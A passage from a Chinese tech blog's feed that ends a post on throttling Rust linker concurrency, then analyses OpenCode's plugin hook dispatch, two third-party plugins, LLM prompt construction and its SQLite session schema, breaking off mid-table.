&lt;li&gt;&lt;strong&gt;如果需要限制为多个并发（如 &lt;code&gt;max-link-jobs = 2&lt;&#x2F;code&gt; 或 &lt;code&gt;4&lt;&#x2F;code&gt;）&lt;&#x2F;strong&gt;：使用 &lt;code&gt;flock&lt;&#x2F;code&gt; + 状态文件（记录 PID 和 Slot），通过短时间持锁修改状态、长时间无锁执行 Linker，并在每次获取 Slot 时检查 PID 是否仍然存活，实现自动恢复。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;这种设计兼顾了：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;编译阶段保持最高并发；&lt;&#x2F;li&gt;
&lt;li&gt;链接阶段按内存容量限流；&lt;&#x2F;li&gt;
&lt;li&gt;崩溃自动恢复；&lt;&#x2F;li&gt;
&lt;li&gt;无需常驻守护进程；&lt;&#x2F;li&gt;
&lt;li&gt;状态透明、易于调试；&lt;&#x2F;li&gt;
&lt;li&gt;易于扩展为一个通用的 &lt;code&gt;cargo-link-wrapper&lt;&#x2F;code&gt; 工具。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;对于拥有几十甚至上百个 crate 的大型 Rust Workspace，这是一种简单、可靠且非常符合 Unix 哲学的工程实践。&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>OpenCode 插件系统与数据库架构深度解析</title>
        <published>2026-07-17T00:00:00+08:00</published>
        <updated>2026-07-17T00:00:00+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2026/07/opencode-plugin-architecture/"/>
        <id>https://vercel.juzhong.asia/2026/07/opencode-plugin-architecture/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2026/07/opencode-plugin-architecture/">&lt;h1 id=&quot;opencode-cha-jian-xi-tong-yu-shu-ju-ku-jia-gou-shen-du-jie-xi&quot;&gt;OpenCode 插件系统与数据库架构深度解析&lt;&#x2F;h1&gt;
&lt;p&gt;本文以 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;anomalyco&#x2F;opencode&quot;&gt;opencode&lt;&#x2F;a&gt; 源码为参照，详细分析 &lt;code&gt;third&#x2F;&lt;&#x2F;code&gt; 目录下两个第三方插件的生效逻辑、插件的 Hook 分发机制，以及运行时数据库的读写模式。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;yi-cha-jian-jia-zai-ji-zhi&quot;&gt;一、插件加载机制&lt;&#x2F;h2&gt;
&lt;p&gt;openCode 的插件系统入口位于 &lt;code&gt;packages&#x2F;opencode&#x2F;src&#x2F;plugin&#x2F;index.ts&lt;&#x2F;code&gt;，加载流程如下：&lt;&#x2F;p&gt;
&lt;h3 id=&quot;1-pei-zhi-jie-xi-yu-an-zhuang&quot;&gt;1. 配置解析与安装&lt;&#x2F;h3&gt;
&lt;p&gt;用户在 &lt;code&gt;opencode.json&lt;&#x2F;code&gt; 中声明插件：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;json&quot; class=&quot;language-json &quot;&gt;&lt;code class=&quot;language-json&quot; data-lang=&quot;json&quot;&gt;{
  &amp;quot;plugin&amp;quot;: [
    &amp;quot;@devtheops&amp;#x2F;opencode-plugin-otel&amp;quot;,
    &amp;quot;superpowers@git+https:&amp;#x2F;&amp;#x2F;github.com&amp;#x2F;obra&amp;#x2F;superpowers.git&amp;quot;
  ]
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;code&gt;PluginLoader.loadExternal()&lt;&#x2F;code&gt; 解析每个 specifier，通过 &lt;code&gt;resolvePluginTarget()&lt;&#x2F;code&gt; 安装 npm 包（或从 git URL 拉取），定位入口文件。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;2-ru-kou-ti-qu&quot;&gt;2. 入口提取&lt;&#x2F;h3&gt;
&lt;p&gt;模块加载后，&lt;code&gt;applyPlugin&lt;&#x2F;code&gt; 按两种模式识别插件：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;V1 模式&lt;&#x2F;strong&gt;：&lt;code&gt;readV1Plugin()&lt;&#x2F;code&gt; 检查是否存在 &lt;code&gt;{ id, server: Plugin }&lt;&#x2F;code&gt; 结构的默认导出&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Legacy 模式&lt;&#x2F;strong&gt;：&lt;code&gt;getLegacyPlugins()&lt;&#x2F;code&gt; 遍历模块的所有导出，将函数值直接当作 &lt;code&gt;Plugin&lt;&#x2F;code&gt; 实例&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;3-hook-zhu-ce&quot;&gt;3. Hook 注册&lt;&#x2F;h3&gt;
&lt;p&gt;所有插件的 &lt;code&gt;Plugin(input)&lt;&#x2F;code&gt; 被调用后返回 &lt;code&gt;Hooks&lt;&#x2F;code&gt; 对象，按顺序存入内部数组。分发方式有三种：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;类型&lt;&#x2F;th&gt;&lt;th&gt;触发点&lt;&#x2F;th&gt;&lt;th&gt;示例&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;config&lt;&#x2F;code&gt; 生命周期 Hook&lt;&#x2F;td&gt;&lt;td&gt;初始化时按顺序调用&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;config(cfg)&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;event&lt;&#x2F;code&gt; 事件 Hook&lt;&#x2F;td&gt;&lt;td&gt;通过 EventV2Bridge 订阅所有事件&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;event({ event })&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Trigger Hook&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;在 opencode 特定执行点通过 &lt;code&gt;Plugin.trigger()&lt;&#x2F;code&gt; 调用&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;chat.message&lt;&#x2F;code&gt;、&lt;code&gt;experimental.chat.system.transform&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;Trigger Hook 的核心逻辑是一个简单的遍历（&lt;code&gt;index.ts:302-315&lt;&#x2F;code&gt;）：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;typescript&quot; class=&quot;language-typescript &quot;&gt;&lt;code class=&quot;language-typescript&quot; data-lang=&quot;typescript&quot;&gt;const trigger = Effect.fn(&amp;quot;Plugin.trigger&amp;quot;)(function* (name, input, output) {
  for (const hook of s.hooks) {
    const fn = hook[name]
    if (!fn) continue
    yield* Effect.promise(async () =&amp;gt; fn(input, output))
  }
  return output
})
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;执行顺序&lt;&#x2F;strong&gt;：内置插件（CodexAuth、CopilotAuth 等）先 push，外部插件按 &lt;code&gt;opencode.json&lt;&#x2F;code&gt; 声明顺序依次 push，之后所有 Hook 点按此顺序遍历。没有优先级或排序机制。&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;er-superpowers-cha-jian-de-sheng-xiao-luo-ji&quot;&gt;二、superpowers 插件的生效逻辑&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;strong&gt;文件&lt;&#x2F;strong&gt;：&lt;code&gt;third&#x2F;superpowers&#x2F;.opencode&#x2F;plugins&#x2F;superpowers.js&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;这是一个纯 JavaScript 的单文件插件（107 行），通过两个 Hook 注入技能系统：&lt;&#x2F;p&gt;
&lt;h3 id=&quot;hook-1-config-zhu-ce-skills-lu-jing&quot;&gt;Hook 1：&lt;code&gt;config&lt;&#x2F;code&gt;（注册 skills 路径）&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;config: async (config) =&amp;gt; {
  config.skills.paths.push(superpowersSkillsDir)
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;初始化时向 opencode 的 &lt;code&gt;config.skills.paths&lt;&#x2F;code&gt; 注入自己的 skills 目录（&lt;code&gt;&amp;lt;installed-dir&amp;gt;&#x2F;skills&#x2F;&lt;&#x2F;code&gt;），让 opencode 启动后自动发现所有 14 个技能（brainstorming、systematic-debugging、test-driven-development 等），无需用户手动配置 symlink。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;hook-2-experimental-chat-system-transform-zhu-ru-xi-tong-yin-dao&quot;&gt;Hook 2：&lt;code&gt;experimental.chat.system.transform&lt;&#x2F;code&gt;（注入系统引导）&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;&amp;#x27;experimental.chat.system.transform&amp;#x27;: async (_input, output) =&amp;gt; {
  output.system.push(getBootstrapContent())
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;每次构造 LLM 的 system prompt 时，读取 &lt;code&gt;using-superpowers&lt;&#x2F;code&gt; 技能的 SKILL.md 内容（去 frontmatter），包裹在 &lt;code&gt;&amp;lt;EXTREMELY_IMPORTANT&amp;gt;&lt;&#x2F;code&gt; 标签中追加到 system prompt 数组。这使 AI agent 在每次对话中都被强制要求在行动前检查并调用相关 skill。&lt;&#x2F;p&gt;
&lt;p&gt;这个 Hook 在&lt;strong&gt;两处&lt;&#x2F;strong&gt;被触发（&lt;code&gt;agent&#x2F;agent.ts:381&lt;&#x2F;code&gt; 和 &lt;code&gt;session&#x2F;llm&#x2F;request.ts:70&lt;&#x2F;code&gt;），因此不止执行一次。但由于 &lt;code&gt;output.system&lt;&#x2F;code&gt; 每次都是调用方新创建的局部数组，不存在重复追加问题。&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;san-opencode-plugin-otel-cha-jian-de-sheng-xiao-luo-ji&quot;&gt;三、opencode-plugin-otel 插件的生效逻辑&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;strong&gt;文件&lt;&#x2F;strong&gt;：&lt;code&gt;third&#x2F;opencode-plugin-otel&#x2F;src&#x2F;index.ts&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;这是一个 TypeScript 插件（349 行），将 session 遥测数据通过 OpenTelemetry 协议（OTLP over gRPC&#x2F;HTTP）导出。所有遥测由 &lt;code&gt;OPENCODE_ENABLE_TELEMETRY&lt;&#x2F;code&gt; 环境变量控制。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;he-xin-jia-gou&quot;&gt;核心架构&lt;&#x2F;h3&gt;
&lt;p&gt;插件函数体内惰性初始化 OTel SDK（MeterProvider、LoggerProvider、TracerProvider），然后返回三个 Hook：&lt;&#x2F;p&gt;
&lt;h4 id=&quot;config-hook&quot;&gt;&lt;code&gt;config&lt;&#x2F;code&gt; Hook&lt;&#x2F;h4&gt;
&lt;p&gt;简单调整日志级别。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;chat-message-hook&quot;&gt;&lt;code&gt;chat.message&lt;&#x2F;code&gt; Hook&lt;&#x2F;h4&gt;
&lt;p&gt;每次用户发送消息时触发（&lt;code&gt;session&#x2F;prompt.ts&lt;&#x2F;code&gt;），启动 session span（如果尚未存在），记录 &lt;code&gt;user_prompt&lt;&#x2F;code&gt; 日志事件，并初始化 token&#x2F;cost 计数器。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;event-hook&quot;&gt;&lt;code&gt;event&lt;&#x2F;code&gt; Hook&lt;&#x2F;h4&gt;
&lt;p&gt;订阅所有 opencode 事件，按类型分发给不同 hander：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;事件&lt;&#x2F;th&gt;&lt;th&gt;Handler&lt;&#x2F;th&gt;&lt;th&gt;行为&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;session.created&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;handleSessionCreated&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;创建 session span&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;session.idle&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;handleSessionIdle&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;关闭 span，flush 遥测&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;session.error&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;handleSessionError&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;记录错误，flush&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;session.diff&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;handleSessionDiff&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;统计代码行数增删&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;command.executed&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;handleCommandExecuted&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;检测 git commit&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;message.updated&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;handleMessageUpdated&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;累加 token&#x2F;cost 计数&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;message.part.updated&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;handleMessagePartUpdated&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;处理工具调用 span 和指标&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;permission.updated&#x2F;replied&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;对应 handler&lt;&#x2F;td&gt;&lt;td&gt;跟踪权限请求&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;注册 &lt;code&gt;SIGTERM&lt;&#x2F;code&gt;&#x2F;&lt;code&gt;SIGINT&lt;&#x2F;code&gt;&#x2F;&lt;code&gt;beforeExit&lt;&#x2F;code&gt; 信号实现优雅 shutdown。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;yao-ce-wu-fa-kua-cha-jian-jian-kong&quot;&gt;遥测无法跨插件监控&lt;&#x2F;h3&gt;
&lt;p&gt;当前架构下，一个插件无法以通用方式监控另一个插件 Hook 的执行。因为 &lt;code&gt;hooks&lt;&#x2F;code&gt; 数组是内部闭包的局部变量，&lt;code&gt;Plugin.trigger()&lt;&#x2F;code&gt; 不产生任何可监听的事件——没有优先级、没有 lifecycle hook。只能通过外部 OTLP 后端间接观察 otel 插件自身的指标，或修改核心代码增加 Hook 生命周期事件。&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;si-llm-xiao-xi-de-gou-zao-liu-cheng&quot;&gt;四、LLM 消息的构造流程&lt;&#x2F;h2&gt;
&lt;p&gt;这是理解系统提示词注入和数据库读写模式的关键。每次 LLM 调用时：&lt;&#x2F;p&gt;
&lt;h3 id=&quot;gou-zao-lian-lu-prompt-ts-llm-ts-request-ts&quot;&gt;构造链路（&lt;code&gt;prompt.ts&lt;&#x2F;code&gt; → &lt;code&gt;llm.ts&lt;&#x2F;code&gt; → &lt;code&gt;request.ts&lt;&#x2F;code&gt;）&lt;&#x2F;h3&gt;
&lt;pre&gt;&lt;code&gt;1. msgs = 从 session_message 表取出全部消息（从最近 compaction 点起）
2. system = [...env, ...instructions, ...mcpInstructions, ...skills]
           └── 每轮重新构造，包含:
               · 当前模型名称、工作目录、日期（new Date().toDateString()）
               · 项目 references 列表
               · agent 可用的 skills 列表
               · MCP server 的指令
3. modelMsgs = MessageV2.toModelMessagesEffect(msgs, model)
4. → Plugin.trigger(&amp;quot;experimental.chat.messages.transform&amp;quot;, {}, { messages: msgs })
5. → handle.process({ system, messages: modelMsgs })
6. LLMRequestPrep.prepare() 中:
   · system 数组 join 成 header 字符串
   · Plugin.trigger(&amp;quot;experimental.chat.system.transform&amp;quot;, ..., { system })
   · messages = [{ role: &amp;quot;system&amp;quot;, content: x }, ...] + modelMsgs
   · 最终传给 LLM
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;code&gt;experimental.chat.system.transform&lt;&#x2F;code&gt; 是&lt;strong&gt;插件修改 system prompt 的唯一入口&lt;&#x2F;strong&gt;。system prompt 不在 session 持久化的历史中——它是每轮动态构造的局部变量。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;dui-llm-huan-cun-de-ying-xiang&quot;&gt;对 LLM 缓存的影响&lt;&#x2F;h3&gt;
&lt;p&gt;由于 system prompt 每轮重新构造，include 的内容可能变化（如 &lt;code&gt;Today&#x27;s date&lt;&#x2F;code&gt; 跨天变化、references 增删、skills 列表变化），LLM 服务端的 prompt caching（如 Anthropic 的 cache control）无法获得稳定的前缀命中。opencode 选择了&lt;strong&gt;新鲜度优先&lt;&#x2F;strong&gt;的设计原则。&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;wu-shu-ju-ku-jia-gou-yu-yun-xing-shi-cao-zuo&quot;&gt;五、数据库架构与运行时操作&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;yin-qing-yu-pei-zhi&quot;&gt;引擎与配置&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;引擎&lt;&#x2F;strong&gt;：SQLite（WAL 模式）&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;文件位置&lt;&#x2F;strong&gt;：&lt;code&gt;~&#x2F;.local&#x2F;share&#x2F;opencode&#x2F;opencode.db&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;PRAGMA&lt;&#x2F;strong&gt;：&lt;code&gt;journal_mode=WAL&lt;&#x2F;code&gt;、&lt;code&gt;synchronous=NORMAL&lt;&#x2F;code&gt;、&lt;code&gt;busy_timeout=5000&lt;&#x2F;code&gt;、&lt;code&gt;cache_size=-64000&lt;&#x2F;code&gt;（64MB）、&lt;code&gt;foreign_keys=ON&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;8-zhang-he-xin-biao&quot;&gt;8 张核心表&lt;&#x2F;h3&gt;
&lt;pre&gt;&lt;code&gt;session                              event_sequence
├── id (PK)                          ├── aggregate_id (PK, FK → session.id)
├── project_id (FK)                  ├── seq
├── title, slug, directory           └── owner_id
├── cost, tokens_*  (实时累加)
├── permission, model, agent         event
├── time_compacting                  ├── id (PK)
└── time_archived (从未写入)         ├── aggregate_id (FK)
                                     ├── seq
session_message                      ├── type
├── id (PK)                          └── data (JSON)
├── session_id (FK, cascade delete)
├── type (user&amp;#x2F;assistant&amp;#x2F;shell&amp;#x2F;      message (V1 遗留)     part (V1 遗留)
│         system&amp;#x2F;compaction&amp;#x2F;         (session 级)          (message 级)
│         synthetic&amp;#x2F;agent-switched&amp;#x2F;
│         model-switched)
├── seq (unique per session)         session_input          todo
├── data (JSON)                      ├── id (PK)           ├── session_id+position (PK)
└── time_created                     ├── session_id (FK)   ├── content, status
                                     ├── prompt (JSON)     └── priority
session_context_epoch                ├── delivery
├── session_id (PK, FK)              ├── admitted_seq
├── baseline                         └── promoted_seq
├── snapshot (JSON)
└── baseline_seq
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;he-xin-du-xie-liu-cheng&quot;&gt;核心读写流程&lt;&#x2F;h3&gt;
&lt;h4 id=&quot;du-cao-zuo-mei-ci-llm-qing-qiu-qian&quot;&gt;读操作（每次 LLM 请求前）&lt;&#x2F;h4&gt;
&lt;pre data-lang=&quot;sql&quot; class=&quot;language-sql &quot;&gt;&lt;code class=&quot;language-sql&quot; data-lang=&quot;sql&quot;&gt;-- 1. 找到最新 compaction 点
SELECT seq FROM session_message
WHERE session_id = ? AND type = &amp;#x27;compaction&amp;#x27;
ORDER BY seq DESC LIMIT 1

-- 2. 从该点加载全量消息
SELECT * FROM session_message
WHERE session_id = ? AND seq &amp;gt;= ?
ORDER BY seq ASC

-- 3. 加载系统上下文基线
SELECT * FROM session_context_epoch WHERE session_id = ?
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h4 id=&quot;xie-cao-zuo-mei-ge-shi-jian-hong-fa-ji-lian-xie-ru&quot;&gt;写操作（每个事件触发级联写入）&lt;&#x2F;h4&gt;
&lt;pre&gt;&lt;code&gt;用户输入 → publish(session.next.prompted):
  ├── INSERT event (持久化事件)
  └── SessionProjector:
        ├── INSERT session_message (type=&amp;quot;user&amp;quot;, seq=N)
        └── UPSERT session_input (delivery=&amp;quot;steer&amp;quot;, admitted_seq=N)

step started → INSERT session_message (type=&amp;quot;assistant&amp;quot;)  ← 新建一行
text delta   → 纯内存操作，不写 DB (delta 太多)
text ended   → UPDATE session_message (合并完整文本)
tool called  → UPDATE session_message (更新 tool state)
tool success → UPDATE session_message (写入 result)
step ended   → UPDATE session_message (补 finish, cost, tokens)
  └── 同时 UPDATE session SET cost += ?, tokens_* += ?

compaction   → INSERT session_message (type=&amp;quot;compaction&amp;quot;, seq=P)
  └── 不删除旧行，后续读取只从 seq &amp;gt;= P 处开始
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;关键点&lt;&#x2F;strong&gt;：同一轮 tool-calling 循环中，一个 assistant 消息只占&lt;strong&gt;一行&lt;&#x2F;strong&gt; &lt;code&gt;session_message&lt;&#x2F;code&gt;，后续事件都是 UPDATE 同一行而非 INSERT 新行。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;shu-ju-ku-peng-zhang&quot;&gt;数据库膨胀&lt;&#x2F;h3&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;表&lt;&#x2F;th&gt;&lt;th&gt;增长模式&lt;&#x2F;th&gt;&lt;th&gt;清理方式&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;session_message&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;每用户输入、每个事件 INSERT 或 UPDATE 一行&lt;&#x2F;td&gt;&lt;td&gt;手动删 session &#x2F; revert&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;event&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;每个事件 INSERT 一行，永不更新&lt;&#x2F;td&gt;&lt;td&gt;cascade 删 session&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;event_sequence&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;每个事件 UPDATE seq&lt;&#x2F;td&gt;&lt;td&gt;cascade&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;&lt;strong&gt;当前没有自动清理机制&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Compaction 只是追加 summary 行 + &quot;跳过&quot;旧消息，不删除任何数据&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;time_archived&lt;&#x2F;code&gt; 字段存在于 schema 中，但&lt;strong&gt;未被任何代码写入&lt;&#x2F;strong&gt;&lt;&#x2F;li&gt;
&lt;li&gt;没有 TTL、没有到期清理、没有最大行数限制&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;唯一删除途径：手动删除 session（&lt;code&gt;DELETE FROM session WHERE id = ?&lt;&#x2F;code&gt;，级联清除所有子表）或执行 revert（删除指定 seq 之后的 &lt;code&gt;session_message&lt;&#x2F;code&gt; 和 &lt;code&gt;session_input&lt;&#x2F;code&gt; 行）。&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;liu-hook-yu-event-wan-quan-can-kao&quot;&gt;六、Hook 与 Event 完全参考&lt;&#x2F;h2&gt;
&lt;p&gt;Hook 类型定义在 &lt;code&gt;packages&#x2F;plugin&#x2F;src&#x2F;index.ts:222-335&lt;&#x2F;code&gt;，Event 定义分散在 &lt;code&gt;packages&#x2F;schema&#x2F;src&#x2F;&lt;&#x2F;code&gt; 下的多个文件中。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;6-1-quan-bu-hook-21-ge&quot;&gt;6.1 全部 Hook（21 个）&lt;&#x2F;h3&gt;
&lt;h4 id=&quot;sheng-ming-zhou-qi-hook-fei-trigger-mo-shi-6-ge&quot;&gt;生命周期 Hook（非 trigger 模式，6 个）&lt;&#x2F;h4&gt;
&lt;p&gt;这些 Hook 不通过 &lt;code&gt;Plugin.trigger()&lt;&#x2F;code&gt; 调用，而是由 opencode 核心在特定时机直接调用。&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;#&lt;&#x2F;th&gt;&lt;th&gt;Hook 名&lt;&#x2F;th&gt;&lt;th&gt;入参&lt;&#x2F;th&gt;&lt;th&gt;返回值&lt;&#x2F;th&gt;&lt;th&gt;作用&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;1&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;dispose&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;无&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;Promise&amp;lt;void&amp;gt;&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;插件卸载时调用，用于清理资源&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;2&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;event&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;{ event: { id, type, properties } }&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;Promise&amp;lt;void&amp;gt;&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;接收每个系统事件——通过 EventV2Bridge 订阅所有事件广播。这是插件感知系统状态的核心入口&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;3&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;config&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;Config&lt;&#x2F;code&gt;（完整配置对象）&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;Promise&amp;lt;void&amp;gt;&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;初始化时及配置变更时调用。插件在此注册 skills 路径、调整日志级别、注入自定义配置&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;4&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;tool&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;—（静态属性）&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;{ [key: string]: ToolDefinition }&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;注册自定义工具供 agent 调用&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;5&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;auth&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;—（静态属性）&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;AuthHook&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;注册自定义认证逻辑（如 OAuth）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
